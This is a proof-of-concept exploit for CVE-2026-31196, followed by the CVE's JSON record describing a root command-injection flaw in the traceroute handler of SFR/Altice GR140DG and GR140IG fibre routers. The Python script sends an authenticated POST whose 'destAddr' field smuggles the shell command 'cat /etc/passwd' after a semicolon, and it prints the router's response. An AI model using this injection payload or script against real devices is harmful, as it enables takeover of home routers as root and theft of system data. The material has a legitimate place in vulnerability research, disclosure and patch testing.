CVE-2026-31196

import requests # Target URL for the vulnerable endpoint # Note: The specific endpoint path may vary based on firmware analysis target_url = "http://<target_ip>/cgi-bin/httpd_clientside" # Authentication credentials (required as per PR:L) session = requests.Session() # Perform login to obtain authenticated session cookies # login_data = {"username": "user", "password": "password"} # session.post("<login_url>", data=login_data) # Exploit Payload: Using command substitution to execute 'cat /etc/passwd' # The 'destAddr' parameter is vulnerable to command injection exploit_payload = { "action": "traceroute", "destAddr": "8.8.8.8; cat /etc/passwd" # Injection vector } try: # Send the malicious request response = session.post(target_url, data=exploit_payload, timeout=5) print("Status Code:", response.status_code) print("Response Body:", response.text) # If successful, the response will contain the output of the injected command except Exception as e: print("An error occurred:", e)

{"cve": {"id": "CVE-2026-31196", "sourceIdentifier": "[email protected]", "published": "2026-05-05T16:16:11.290", "lastModified": "2026-05-07T15:15:06.770", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The traceroute diagnostic handler in /bin/httpd_clientside for ALTICE LABS / SFR France GR140DG and GR140IG fibre CPE/Router/Gateway, inserts unsanitized user input into a system() call, allowing authenticated remote attackers to execute arbitrary commands as root via crafted destAddr parameters using shell command substitution."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "http://altice.com", "source": "[email protected]"}, {"url": "http://gr140dg.com", "source": "[email protected]"}, {"url": "https://xerod.ai/advisories/XEROD-2026-0002", "source": "[email protected]"}]}}